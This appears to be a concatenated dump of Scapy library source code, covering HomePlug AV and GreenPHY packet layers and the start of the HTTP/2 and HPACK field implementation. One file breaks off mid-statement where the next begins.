XShortField("HeaderIgnoreMask", 0x0000), LEIntField("HeaderModuleID", 0), LEIntField("HeaderModuleSubID", 0), LEIntField("AddrNextHeaderNVM", 0), LEIntField("HeaderChecksum", 0), LEIntField("SDRAMsize", 0), LEIntField("SDRAMConfRegister", 0), LEIntField("SDRAMTimingRegister_0", 0), LEIntField("SDRAMTimingRegister_1", 0), LEIntField("SDRAMControlRegister", 0), LEIntField("SDRAMRefreshRegister", 0), LEIntField("MACClockRegister", 0), LEIntField("reserved_1", 0), ] class ReadConfBlockConfirmation(Packet): name = "ReadConfBlockConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ReadConfBlockCodes), FieldLenField("BlockLen", None, count_of="ConfigurationBlock", fmt="B"), # noqa: E501 PacketListField("ConfigurationBlock", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen)] # noqa: E501 ###################################################################### # Write Module Data to NVM ###################################################################### class WriteModuleData2NVMRequest(Packet): name = "WriteModuleData2NVMRequest" fields_desc = [ByteEnumField("ModuleID", 0x02, ModuleIDList)] class WriteModuleData2NVMConfirmation(Packet): name = "WriteModuleData2NVMConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), ByteEnumField("ModuleID", 0x02, ModuleIDList)] # END # class HomePlugAV(Packet): """ HomePlugAV Packet - by default => gets devices information """ name = "HomePlugAV " fields_desc = [MACManagementHeader, ConditionalField(XShortField("FragmentInfo", 0x0), FragmentCond), ConditionalField(PacketListField("VendorField", VendorMME(), VendorMME, length_from=lambda x: 3), lambda pkt:(pkt.version == 0x00))] def answers(self, other): return (isinstance(self, HomePlugAV)) bind_layers(Ether, HomePlugAV, {"type": 0x88e1}) # +----------+------------+--------------------+ # | Ethernet | HomePlugAV | Elements + Payload | # +----------+------------+--------------------+ bind_layers(HomePlugAV, GetDeviceVersion, HPtype=0xA001) bind_layers(HomePlugAV, StartMACRequest, HPtype=0xA00C) bind_layers(HomePlugAV, StartMACConfirmation, HPtype=0xA00D) bind_layers(HomePlugAV, ResetDeviceRequest, HPtype=0xA01C) bind_layers(HomePlugAV, ResetDeviceConfirmation, HPtype=0xA01D) bind_layers(HomePlugAV, NetworkInformationRequest, HPtype=0xA038) bind_layers(HomePlugAV, ReadMACMemoryRequest, HPtype=0xA008) bind_layers(HomePlugAV, ReadMACMemoryConfirmation, HPtype=0xA009) bind_layers(HomePlugAV, ReadModuleDataRequest, HPtype=0xA024) bind_layers(HomePlugAV, ReadModuleDataConfirmation, HPtype=0xA025) bind_layers(HomePlugAV, ModuleOperationRequest, HPtype=0xA0B0) bind_layers(HomePlugAV, ModuleOperationConfirmation, HPtype=0xA0B1) bind_layers(HomePlugAV, WriteModuleDataRequest, HPtype=0xA020) bind_layers(HomePlugAV, WriteModuleData2NVMRequest, HPtype=0xA028) bind_layers(HomePlugAV, WriteModuleData2NVMConfirmation, HPtype=0xA029) bind_layers(HomePlugAV, NetworkInfoConfirmationV10, HPtype=0xA039, version=0x00) # noqa: E501 bind_layers(HomePlugAV, NetworkInfoConfirmationV11, HPtype=0xA039, version=0x01) # noqa: E501 bind_layers(NetworkInfoConfirmationV10, NetworkInfoV10, HPtype=0xA039, version=0x00) # noqa: E501 bind_layers(NetworkInfoConfirmationV11, NetworkInfoV11, HPtype=0xA039, version=0x01) # noqa: E501 bind_layers(HomePlugAV, HostActionRequired, HPtype=0xA062) bind_layers(HomePlugAV, LoopbackRequest, HPtype=0xA048) bind_layers(HomePlugAV, LoopbackConfirmation, HPtype=0xA049) bind_layers(HomePlugAV, SetEncryptionKeyRequest, HPtype=0xA050) bind_layers(HomePlugAV, SetEncryptionKeyConfirmation, HPtype=0xA051) bind_layers(HomePlugAV, ReadConfBlockRequest, HPtype=0xA058) bind_layers(HomePlugAV, ReadConfBlockConfirmation, HPtype=0xA059) bind_layers(HomePlugAV, QUAResetFactoryConfirm, HPtype=0xA07D) bind_layers(HomePlugAV, GetNVMParametersRequest, HPtype=0xA010) bind_layers(HomePlugAV, GetNVMParametersConfirmation, HPtype=0xA011) bind_layers(HomePlugAV, SnifferRequest, HPtype=0xA034) bind_layers(HomePlugAV, SnifferConfirmation, HPtype=0xA035) bind_layers(HomePlugAV, SnifferIndicate, HPtype=0xA036) """ Credit song : "Western Spaguetti - We are terrorists" """ ================================================ FILE: scapy/contrib/homepluggp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = HomePlugGP Layer # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, FieldLenField, \ MACField, PacketListField, ShortField, \ StrFixedLenField, XIntField, PacketField \ # This layer extends HomePlug AV one from scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList # Copyright (C) HomePlugGP Layer for Scapy by FlUxIuS (Sebastien Dudek) # As HomePlug GreenPHY is a subset of HomePlug AV, that is why we use # HomePlugAV layer as a base here. HomePlugGPTypes = {0x6008: "CM_SET_KEY_REQ", 0x6009: "CM_SET_KEY_CNF", 0x6064: "CM_SLAC_PARM_REQ", 0x6065: "CM_SLAC_PARM_CNF", 0x606e: "CM_ATTEN_CHAR_IN", 0x606a: "CM_START_ATTEN_CHAR_IND", 0x606f: "CM_ATTEN_CHAR_RSP", 0x6076: "CM_MNBC_SOUND_IND", 0x607c: "CM_SLAC_MATCH_REQ", 0x607d: "CM_SLAC_MATCH_CNF", 0x6086: "CM_ATTENUATION_CHARACTERISTICS_MME"} QualcommTypeList.update(HomePlugGPTypes) HPGP_codes = {0x0: "Success"} KeyType_list = {0x01: "NMK (AES-128)"} ###################################################################### # SLAC operations ###################################################################### class CM_SLAC_PARM_REQ(Packet): name = "CM_SLAC_PARM_REQ" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), StrFixedLenField("RunID", b"\x00" * 8, 8)] class CM_SLAC_PARM_CNF(Packet): name = "CM_SLAC_PARM_CNF" fields_desc = [MACField("MSoundTargetMAC", "00:00:00:00:00:00"), ByteField("NumberMSounds", 0x0), ByteField("TimeOut", 0x0), ByteField("ResponseType", 0x0), MACField("ForwardingSTA", "00:00:00:00:00:00"), ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), StrFixedLenField("RunID", b"\x00" * 8, 8)] class HPGP_GROUP(Packet): name = "HPGP_GROUP" fields_desc = [ByteField("group", 0x0)] def extract_padding(self, p): return "", p class VS_ATTENUATION_CHARACTERISTICS_MME(Packet): name = "VS_ATTENUATION_CHARACTERISTICS_MME" fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), ByteField("NumberOfCarrierPerGroupe", 0), StrFixedLenField("Reserved", b"\x00" * 7, 7), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTENUATION_CHARACTERISTICS_MME(Packet): name = "CM_ATTENUATION_CHARACTERISTICS_MME" fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), ByteField("NumberOfCarrierPerGroupe", 0), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTEN_CHAR_IND(Packet): name = "CM_ATTEN_CHAR_IND" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), MACField("SourceAdress", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("SourceID", b"\x00" * 17, 17), StrFixedLenField("ResponseID", b"\x00" * 17, 17), ByteField("NumberOfSounds", 0x0), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTEN_CHAR_RSP(Packet): name = "CM_ATTEN_CHAR_RSP" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), MACField("SourceAdress", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("SourceID", b"\x00" * 17, 17), StrFixedLenField("ResponseID", b"\x00" * 17, 17), ByteEnumField("Result", 0x0, HPGP_codes)] class SLAC_varfield(Packet): name = "SLAC_varfield" fields_desc = [StrFixedLenField("EVID", b"\x00" * 17, 17), MACField("EVMAC", "00:00:00:00:00:00"), StrFixedLenField("EVSEID", b"\x00" * 17, 17), MACField("EVSEMAC", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("RSVD", b"\x00" * 8, 8)] class CM_SLAC_MATCH_REQ(Packet): name = "CM_SLAC_MATCH_REQ" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), FieldLenField("MatchVariableFieldLen", None, length_of="VariableField", fmt=" """ http2 HTTP/2 support for Scapy see RFC7540 and RFC7541 for more information Implements packets and fields required to encode/decode HTTP/2 Frames and HPack encoded headers """ # scapy.contrib.status=loads # scapy.contrib.description=HTTP/2 (RFC 7540, RFC 7541) # base_classes triggers an unwanted import warning import abc import re from io import BytesIO import struct from scapy.compat import raw, plain_str, hex_bytes, orb, chb, bytes_encode # Only required if using mypy-lang for static typing # Most symbols are used in mypy-interpreted "comments". # Sized must be one of the superclasses of a class implementing __len__ from typing import ( Optional, List, Union, Callable, Any, Tuple, Sized, Pattern, ) from scapy.base_classes import Packet_metaclass # noqa: F401 import scapy.fields as fields import scapy.packet as packet import scapy.config as config import scapy.volatile as volatile import scapy.error as error ############################################################################### # HPACK Integer Fields # ############################################################################### class HPackMagicBitField(fields.BitField): """ HPackMagicBitField is a BitField variant that cannot be assigned another value than the default one. This field must not be used where there is potential for fuzzing. OTOH, this field makes sense (for instance, if the magic bits are used by a dispatcher to select the payload class) """ __slots__ = ['_magic'] def __init__(self, name, default, size): # type: (str, int, int) -> None """ :param str name: this field instance name. :param int default: this field only valid value. :param int size: this bitfield bitlength. :return: None :raises: AssertionError """ assert default >= 0 # size can be negative if encoding is little-endian (see rev property of bitfields) # noqa: E501 assert size != 0 self._magic = default super(HPackMagicBitField, self).__init__(name, default, size) def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> Union[str, Tuple[str, int, int]] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|(str, int, long) s: either a str if 0 == size%8 or a tuple with the string to add this field to, the # noqa: E501 number of bits already generated and the generated value so far. :param int val: unused; must be equal to default value :return: str|(str, int, long): the s string extended with this field machine representation # noqa: E501 :raises: AssertionError """ assert val == self._magic, 'val parameter must value {}; received: {}'.format(self._magic, val) # noqa: E501 return super(HPackMagicBitField, self).addfield(pkt, s, self._magic) def getfield(self, pkt, s): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[Union[Tuple[str, int], str], int] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|(str, int) s: either a str if size%8==0 or a tuple with the string to parse from and the number of # noqa: E501 bits already consumed by previous bitfield-compatible fields. :return: (str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there # noqa: E501 are remaining bits to parse in the first byte. Returned value is equal to default value # noqa: E501 :raises: AssertionError """ r = super(HPackMagicBitField, self).getfield(pkt, s) assert ( isinstance(r, tuple) and len(r) == 2 and isinstance(r[1], int) ), 'Second element of BitField.getfield return value expected to be an int or a long; API change detected' # noqa: E501 assert r[1] == self._magic, 'Invalid value parsed from s; error in class guessing detected!' # noqa: E501 return r def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).h2i(pkt, self._magic) def i2h(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).i2h(pkt, self._magic) def m2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: must be the machine representatino of the default value :return: int; default value :raises: AssertionError """ r = super(HPackMagicBitField, self).m2i(pkt, x) assert r == self._magic, 'Invalid value parsed from m2i; error in class guessing detected!' # noqa: E501 return r def i2m(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).i2m(pkt, self._magic) def any2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).any2i(pkt, self._magic) class AbstractUVarIntField(fields.Field): """AbstractUVarIntField represents an integer as defined in RFC7541 """ __slots__ = ['_max_value', 'size', 'rev'] """ :var int size: the bit length of the prefix of this AbstractUVarIntField. It # noqa: E501 represents the complement of the number of MSB that are used in the current byte for other purposes by some other BitFields :var int _max_value: the maximum value that can be stored in the sole prefix. If the integer equals or exceeds this value, the max prefix value is assigned to the size first bits and the multibyte representation is used :var bool rev: is a fake property, also emulated for the sake of compatibility with Bitfields """ def __init__(self, name, default, size): # type: (str, Optional[int], int) -> None """ :param str name: the name of this field instance :param int|None default: positive, null or None default value for this field instance. # noqa: E501 :param int size: the number of bits to consider in the first byte. Valid range is ]0;8] # noqa: E501 :return: None :raises: AssertionError """ assert default is None or (isinstance(default, int) and default >= 0) assert 0 < size <= 8 super(AbstractUVarIntField, self).__init__(name, default) self.size = size self._max_value = (1 << self.size) - 1 # Configuring the fake property that is useless for this class # but that is expected from BitFields self.rev = False def h2i(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] """ :param packet.Packet|None pkt: unused. :param int|None x: the value to convert. :return: int|None: the converted value. :raises: AssertionError """ assert not isinstance(x, int) or x >= 0 return x def i2h(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] """ :param packet.Packet|None pkt: unused. :param int|None x: the value to convert. :return:: int|None: the converted value. """ return x def _detect_multi_byte(self, fb): # type: (str) -> bool """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 :param str fb: first byte, as a character. :return: bool: True if multibyte repr detected, else False. :raises: AssertionError """ assert isinstance(fb, int) or len(fb) == 1 return (orb(fb) & self._max_value) == self._max_value def _parse_multi_byte(self, s): # type: (str) -> int """ _parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. :param str s: the multibyte string to parse. :return: int: The parsed int value represented by this AbstractUVarIntField. # noqa: E501 :raises:: AssertionError :raises:: Scapy_Exception if the input value encodes an integer larger than 1<<64 # noqa: E501 """ assert len(s) >= 2 tmp_len = len(s) value = 0 i = 1 byte = orb(s[i]) # For CPU sake, stops at an arbitrary large number! max_value = 1 << 64 # As long as the MSG is set, an another byte must be read while byte & 0x80: value += (byte ^ 0x80) << (7 * (i - 1)) if value > max_value: raise error.Scapy_Exception( 'out-of-bound value: the string encodes a value that is too large (>2^{{64}}): {}'.format(value) # noqa: E501 ) i += 1 assert i < tmp_len, 'EINVAL: x: out-of-bound read: the string ends before the AbstractUVarIntField!' # noqa: E501 byte = orb(s[i]) value += byte << (7 * (i - 1)) value += self._max_value assert value >= 0 return value def m2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int """ A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501 equal "size". :param packet.Packet|None pkt: unused. :param str|(str, int) x: the string to convert. If bits were consumed by a previous bitfield-compatible field. # noqa: E501 :raises: AssertionError """ assert isinstance(x, bytes) or (isinstance(x, tuple) and x[1] >= 0) if isinstance(x, tuple): assert (8 - x[1]) == self.size, 'EINVAL: x: not enough bits remaining in current byte to read the prefix' # noqa: E501 val = x[0] else: assert isinstance(x, bytes) and self.size == 8, 'EINVAL: x: tuple expected when prefix_len is not a full byte' # noqa: E501 val = x if self._detect_multi_byte(val[0]): ret = self._parse_multi_byte(val) else: ret = orb(val[0]) & self._max_value assert ret >= 0 return ret def i2m(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ :param packet.Packet|None pkt: unused. :param int x: the value to convert. :return: str: the converted value. :raises: AssertionError """ assert x >= 0 if x < self._max_value: return chb(x) else: # The sl list join is a performance trick, because string # concatenation is not efficient with Python immutable strings sl = [chb(self._max_value)] x -= self._max_value while x >= 0x80: sl.append(chb(0x80 | (x & 0x7F))) x >>= 7 sl.append(chb(x)) return b''.join(sl) def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 """ A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. :param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501 :param str|int|None x: the value to convert. :return: int|None: the converted value. :raises: AssertionError """ if isinstance(x, type(None)): return x if isinstance(x, int): assert x >= 0 ret = self.h2i(pkt, x) assert isinstance(ret, int) and ret >= 0 return ret elif isinstance(x, bytes): ret = self.m2i(pkt, x) assert (isinstance(ret, int) and ret >= 0) return ret assert False, 'EINVAL: x: No idea what the parameter format is' def i2repr(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> str """ :param packet.Packet|None pkt: probably unused. :param x: int|None: the positive, null or none value to convert. :return: str: the representation of the value. """ return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 """ An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix length is 8 bits and the whole byte is to be consumed :param packet.Packet|None pkt: the packet containing this field. Probably unused. :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the number of bits already generated in the first byte of the str. The long is the value that was generated by the previous bitfield-compatible fields. :param int val: the positive or null value to be added. :return: str: s concatenated with the machine representation of this field. :raises: AssertionError """ assert val >= 0 if isinstance(s, bytes): assert self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 return s + self.i2m(pkt, val) # s is a tuple # assert s[1] >= 0 # assert s[2] >= 0 # assert (8 - s[1]) == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 if val >= self._max_value: return s[0] + chb((s[2] << self.size) + self._max_value) + self.i2m(pkt, val)[1:] # noqa: E501 # This AbstractUVarIntField is only one byte long; setting the prefix value # noqa: E501 # and appending the resulting byte to the string return s[0] + chb((s[2] << self.size) + orb(self.i2m(pkt, val))) @staticmethod def _detect_bytelen_from_str(s): # type: (str) -> int """ _detect_bytelen_from_str returns the length of the machine representation of an AbstractUVarIntField starting at the beginning of s and which is assumed to expand over multiple bytes (value > _max_prefix_value). :param str s: the string to parse. It is assumed that it is a multibyte int. # noqa: E501 :return: The bytelength of the AbstractUVarIntField. :raises: AssertionError """ assert len(s) >= 2 tmp_len = len(s) i = 1 while orb(s[i]) & 0x80 > 0: i += 1 assert i < tmp_len, 'EINVAL: s: out-of-bound read: unfinished AbstractUVarIntField detected' # noqa: E501 ret = i + 1 assert ret >= 0 return ret def i2len(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: unused. :param int x: the positive or null value whose binary size if requested. # noqa: E501 :raises: AssertionError """ assert x >= 0 if x < self._max_value: return 1 # x is expressed over multiple bytes x -= self._max_value i = 1 if x == 0: i += 1 while x > 0: x >>= 7 i += 1 ret = i assert ret >= 0 return ret def getfield(self, pkt, s): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[str, int] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field; probably unused. :param str|(str, int) s: the input value to get this field value from. If size is 8, s is a string, else it is a tuple containing the value and an int indicating the number of bits already consumed in the first byte of the str. The number of remaining bits to consume in the first byte must be equal to "size". :return: (str, int): the remaining bytes of s and the parsed value. :raises: AssertionError """ if isinstance(s, tuple): assert len(s) == 2 temp = s # type: Tuple[str, int] ts, ti = temp assert ti >= 0 assert 8 - ti == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 val = ts else: assert isinstance(s, bytes) and self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 val = s if self._detect_multi_byte(val[0]): tmp_len = self._detect_bytelen_from_str(val) else: tmp_len = 1 ret = val[tmp_len:], self.m2i(pkt, s) assert ret[1] >= 0 return ret def randval(self): # type: () -> volatile.VolatileValue """ :return: volatile.VolatileValue: a volatile value for this field "long"-compatible internal value. # noqa: E501 """ return volatile.RandLong() class UVarIntField(AbstractUVarIntField): def __init__(self, name, default, size): # type: (str, int, int) -> None """ :param str name: the name of this field instance. :param default: the default value for this field instance. default must be positive or null. # noqa: E501 :raises: AssertionError """ assert default >= 0 assert 0 < size <= 8 super(UVarIntField, self).__init__(name, default, size) self.size = size self._max_value = (1 << self.size) - 1 # Configuring the fake property that is useless for this class but that is # noqa: E501 # expected from BitFields self.rev = False def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ h2i is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).h2i(pkt, x) assert not isinstance(ret, type(None)) and ret >= 0 return ret def i2h(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ i2h is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).i2h(pkt, x) assert not isinstance(ret, type(None)) and ret >= 0 return ret def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, int]) -> int """ any2i is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).any2i(pkt, x) assert not isinstance(ret, type(None)) and ret >= 0 return ret def i2repr(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ i2repr is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: str: the converted value. """ return super(UVarIntField, self).i2repr(pkt, x) class FieldUVarLenField(AbstractUVarIntField): __slots__ = ['_length_of', '_adjust'] def __init__(self, name, default, size, length_of, adjust=lambda x: x): # type: (str, Optional[int], int, str, Callable[[int], int]) -> None """ Initializes a FieldUVarLenField :param str name: The name of this field instance. :param int|None default: the default value of this field instance. :param int size: the number of bits that are occupied by this field in the first byte of a binary string. # noqa: E501 size must be in the range ]0;8]. :param str length_of: The name of the field this field value is measuring/representing. # noqa: E501 :param callable adjust: A function that modifies the value computed from the "length_of" field. # noqa: E501 adjust can be used for instance to add a constant to the length_of field # noqa: E501 length. For instance, let's say that i2len of the length_of field returns 2. If adjust is lambda x: x+1 In that case, this field will value 3 at build time. :return: None :raises: AssertionError """ assert default is None or default >= 0 assert 0 < size <= 8 super(FieldUVarLenField, self).__init__(name, default, size) self._length_of = length_of self._adjust = adjust def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], Optional[int]) -> str # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 None if the val parameter is. :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already # noqa: E501 generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the # noqa: E501 number of bits already generated in the first byte of the str. The long is the value that was generated by the # noqa: E501 previous bitfield-compatible fields. :param int|None val: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 :return: str: s concatenated with the machine representation of this field. # noqa: E501 :raises: AssertionError """ if val is None: assert isinstance(pkt, packet.Packet), \ 'EINVAL: pkt: Packet expected when val is None; received {}'.format(type(pkt)) # noqa: E501 val = self._compute_value(pkt) return super(FieldUVarLenField, self).addfield(pkt, s, val) def i2m(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> str """ :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 None if the x parameter is. :param int|None x: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 :return: str :raises: AssertionError """ if x is None: assert isinstance(pkt, packet.Packet), \ 'EINVAL: pkt: Packet expected when x is None; received {}'.format(type(pkt)) # noqa: E501 x = self._compute_value(pkt) return super(FieldUVarLenField, self).i2m(pkt, x) def _compute_value(self, pkt): # type: (packet.Packet) -> int """ Computes the value of this field based on the provided packet and the length_of field and the adjust callback :param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 :return: int: the computed value for this field. :raises: KeyError: the packet nor its payload do not contain an attribute with the length_of name. :raises: AssertionError :raises: KeyError if _length_of is not one of pkt fields """ fld, fval = pkt.getfield_and_val(self._length_of) val = fld.i2len(pkt, fval) ret = self._adjust(val) assert ret >= 0 return ret ############################################################################### # HPACK String Fields # ############################################################################### class HPackStringsInterface(Sized, metaclass=abc.ABCMeta): # type: ignore @abc.abstractmethod def __str__(self): pass def __bytes__(self): r = self.__str__() return bytes_encode(r) @abc.abstractmethod def origin(self): pass @abc.abstractmethod def __len__(self): pass class HPackLiteralString(HPackStringsInterface): """ HPackLiteralString is a string. This class is used as a marker and implements an interface in common with HPackZString """ __slots__ = ['_s'] def __init__(self, s): # type: (str) -> None self._s = s def __str__(self): # type: () -> str return self._s def origin(self): # type: () -> str return plain_str(self._s) def __len__(self): # type: () -> int return len(self._s) class EOS(object): """ Simple "marker" to designate the End Of String symbol in the huffman table """ class HuffmanNode(object): """ HuffmanNode is an entry of the binary tree used for encoding/decoding HPack compressed HTTP/2 headers """ __slots__ = ['left', 'right'] """@var l: the left branch of this node @var r: the right branch of this Node These variables can value None (leaf node), another HuffmanNode, or a symbol. Symbols are either a character or the End Of String symbol (class EOS) """ def __init__(self, left, right): # type: (Union[None, HuffmanNode, EOS, str], Union[None, HuffmanNode, EOS, str]) -> None # noqa: E501 self.left = left self.right = right def __getitem__(self, b): # type: (int) -> Union[None, HuffmanNode, EOS, str] return self.right if b else self.left def __setitem__(self, b, val): # type: (int, Union[None, HuffmanNode, EOS, str]) -> None if b: self.right = val else: self.left = val def __str__(self): # type: () -> str return self.__repr__() def __repr__(self): # type: () -> str return '({}, {})'.format(self.left, self.right) class InvalidEncodingException(Exception): """ InvalidEncodingException is raised when a supposedly huffman-encoded string is decoded and a decoding error arises """ class HPackZString(HPackStringsInterface): __slots__ = ['_s', '_encoded'] # From RFC 7541 # Tuple is (code,code bitlength) # The bitlength is required to know how long the left padding # (implicit 0's) there are static_huffman_code = [ (0x1ff8, 13), (0x7fffd8, 23), (0xfffffe2, 28), (0xfffffe3, 28), (0xfffffe4, 28), (0xfffffe5, 28), (0xfffffe6, 28), (0xfffffe7, 28), (0xfffffe8, 28), (0xffffea, 24), (0x3ffffffc, 30), (0xfffffe9, 28), (0xfffffea, 28), (0x3ffffffd, 30), (0xfffffeb, 28), (0xfffffec, 28), (0xfffffed, 28), (0xfffffee, 28), (0xfffffef, 28), (0xffffff0, 28), (0xffffff1, 28), (0xffffff2, 28), (0x3ffffffe, 30), (0xffffff3, 28), (0xffffff4, 28), (0xffffff5, 28), (0xffffff6, 28), (0xffffff7, 28), (0xffffff8, 28), (0xffffff9, 28), (0xffffffa, 28), (0xffffffb, 28), (0x14, 6), (0x3f8, 10), (0x3f9, 10), (0xffa, 12), (0x1ff9, 13), (0x15, 6), (0xf8, 8), (0x7fa, 11), (0x3fa, 10), (0x3fb, 10), (0xf9, 8), (0x7fb, 11), (0xfa, 8), (0x16, 6), (0x17, 6), (0x18, 6), (0x0, 5), (0x1, 5), (0x2, 5), (0x19, 6), (0x1a, 6), (0x1b, 6), (0x1c, 6), (0x1d, 6), (0x1e, 6), (0x1f, 6), (0x5c, 7), (0xfb, 8), (0x7ffc, 15), (0x20, 6), (0xffb, 12), (0x3fc, 10), (0x1ffa, 13), (0x21, 6), (0x5d, 7), (0x5e, 7), (0x5f, 7), (0x60, 7), (0x61, 7), (0x62, 7), (0x63, 7), (0x64, 7), (0x65, 7), (0x66, 7), (0x67, 7), (0x68, 7), (0x69, 7), (0x6a, 7), (0x6b, 7), (0x6c, 7), (0x6d, 7), (0x6e, 7), (0x6f, 7), (0x70, 7), (0x71, 7), (0x72, 7), (0xfc, 8), (0x73, 7), (0xfd, 8), (0x1ffb, 13), (0x7fff0, 19), (0x1ffc, 13), (0x3ffc, 14), (0x22, 6), (0x7ffd, 15), (0x3, 5), (0x23, 6), (0x4, 5), (0x24, 6), 